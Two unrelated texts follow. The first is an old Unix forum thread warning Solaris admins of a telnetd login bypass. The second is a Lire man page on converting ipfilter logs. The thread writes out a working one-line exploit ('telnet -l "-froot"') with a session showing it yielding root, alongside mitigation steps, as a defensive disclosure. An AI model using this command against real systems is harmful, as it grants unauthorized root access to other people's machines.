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Full Discussion: telnetd bug!
Operating Systems Solaris telnetd bug! Post 302107140 by mhm4 on Wednesday 14th of February 2007 04:05:33 PM
Old 02-14-2007
Quote:
Originally Posted by pressy
hi mates,

a very important info for all solaris admins, there is a bug in telnetd on nearly every solaris version:

Code:
pressy@mp-wst01 # id
uid=100(pressy) gid=1(other)
pressy@mp-wst01 #  telnet -l "-froot" 192.168.40.1
Trying 192.168.40.1...
Connected to 192.168.40.1.
Escape character is '^]'.
Last login: Wed Feb 14 10:12:45 from 192.168.40.111
Sun Microsystems Inc.   SunOS 5.10      Generic January 2005
Sourcing //.profile-EIS.....
Sourcing //.profile-pressy.....
DISPLAY=192.168.40.111:0.0
root@vcsnode1 # id
uid=0(root) gid=0(root)
root@vcsnode1 # uname -a
SunOS vcsnode1 5.10 Generic_118833-33 sun4u sparc SUNW,Ultra-4
root@vcsnode1 # head -1 /etc/release
                       Solaris 10 11/06 s10s_u3wos_10 SPARC

more info:
http://seclists.org/fulldisclosure/2007/Feb/0251.html

there is no patch, so you need to disable the telnetd:

solaris <10 = uncomment the telnet line in /etc/inetd.conf and "pkill -HUP inetd"
solaris >10 = "inetadm -d svc:/network/telnet:default"

be sure to enable another login like ssh!
i've tried it on several maschines and it works! so hurry up!

regards pressy
This only relates to solaris 10.
 

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IpfilterDlfConverter(3pm)				  LogReport's Lire Documentation				 IpfilterDlfConverter(3pm)

NAME
Lire::Firewall::IpfilterDlfConverter - convert ipf (ipmon) logs to firewall DLF DESCRIPTION
Lire::Firewall::IpfilterDlfConverter converts Ipfilter logs into firewall DLF format. Input for this converter is the standard ipf syslog log file as produced by ipmon. IP Filter is shipped with FreeBSD, OpenBSD (up to 2.9) and some other OS's. EXAMPLE
A ipfilter logfile which looks like Oct 30 07:42:29 rolle ipmon[16747]: 07:42:28.585962 ie0 @0:9 b 192.168.48.1,45085 -> 192.168.48.2,22 PR tcp len 20 64 -S OUT Oct 30 07:40:24 rolle ipmon[16747]: 07:40:23.631307 ep1 @0:6 b 192.168.26.5,113 -> 192.168.26.1,3717 PR tcp len 20 40 -AR OUT Oct 30 07:42:29 rolle ipmon[16747]: 07:42:28.585962 ie0 @0:9 b 192.168.48.1,45085 -> 192.168.48.2,22 PR tcp len 20 64 -S OUT Oct 30 07:44:11 rolle ipmon[16747]: 07:44:10.605416 2x ep1 @0:15 b 192.168.26.1,138 -> 192.168.26.255,138 PR udp len 20 257 IN Oct 30 07:44:34 rolle ipmon[16747]: 07:44:33.891869 ie0 @0:10 b 192.168.48.1,23406 -> 192.168.48.2,22 PR tcp len 20 64 -S OUT Oct 30 07:49:13 rolle ipmon[16747]: 07:49:12.554420 ep1 @0:15 b 210.132.100.117 -> 192.168.26.5 PR icmp len 20 56 icmp 3/3 for 192.168.26.5,61915 - 210.132.100.117,53 PR udp len 20 23040 IN Oct 30 07:50:23 rolle ipmon[16747]: 07:50:22.908107 ep1 @0:15 b 210.132.100.117 -> 192.168.26.5 PR icmp len 20 56 icmp 3/3 for 192.168.26.5,4480 - 210.132.100.117,53 PR udp len 20 19712 IN Oct 30 07:56:11 rolle ipmon[16747]: 07:56:11.113029 2x ep1 @0:15 b 192.168.26.1,138 -> 192.168.26.255,138 PR udp len 20 257 IN (that's: .... 'PR' protocol 'len' length_of_ip_headers_saved packetlength direction) will get converted to something like 994398737 denied igmp 100.187.115.1 - ep1 LIRE_NOTAVAIL 224.0.0.2 - 56 994398861 denied igmp 100.187.115.1 - ep1 LIRE_NOTAVAIL 224.0.0.1 - 56 994398862 denied igmp 100.187.115.1 - ep1 LIRE_NOTAVAIL 224.0.0.2 - 56 994406849 denied udp 192.168.26.4 137 ie0 LIRE_NOTAVAIL 192.168.26.255 137 116 994406850 denied udp 192.168.26.4 137 ie0 LIRE_NOTAVAIL 192.168.26.255 137 116 994406866 denied udp 192.168.26.4 137 ie0 LIRE_NOTAVAIL 192.168.26.255 137 98 SEE ALSO
ipl(4) for description of log structure. The ipmon.c source (e.g. on http://www.openbsd.org/cgi-bin/cvsweb/~checkout~/ src/usr.sbin/ipmon/Attic/ipmon.c?rev=1.27& content-type=text/plain&hideattic=0 ) for the specification of the log syntax. The IP Filter webpage on http://coombs.anu.edu.au/~avalon/ip-filter.html AUTHOR
Joost van Baal <joostvb@logreport.org>, Wessel Dankers <wsl@logreport.org> VERSION
$Id: IpfilterDlfConverter.pm,v 1.7 2009/03/15 08:10:55 vanbaal Exp $ COPYRIGHT
Copyright (C) 2001-2003 Stichting LogReport Foundation LogReport@LogReport.org This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program (see COPYING); if not, check with http://www.gnu.org/copyleft/gpl.html. Lire 2.1.1 2009-03-15 IpfilterDlfConverter(3pm)
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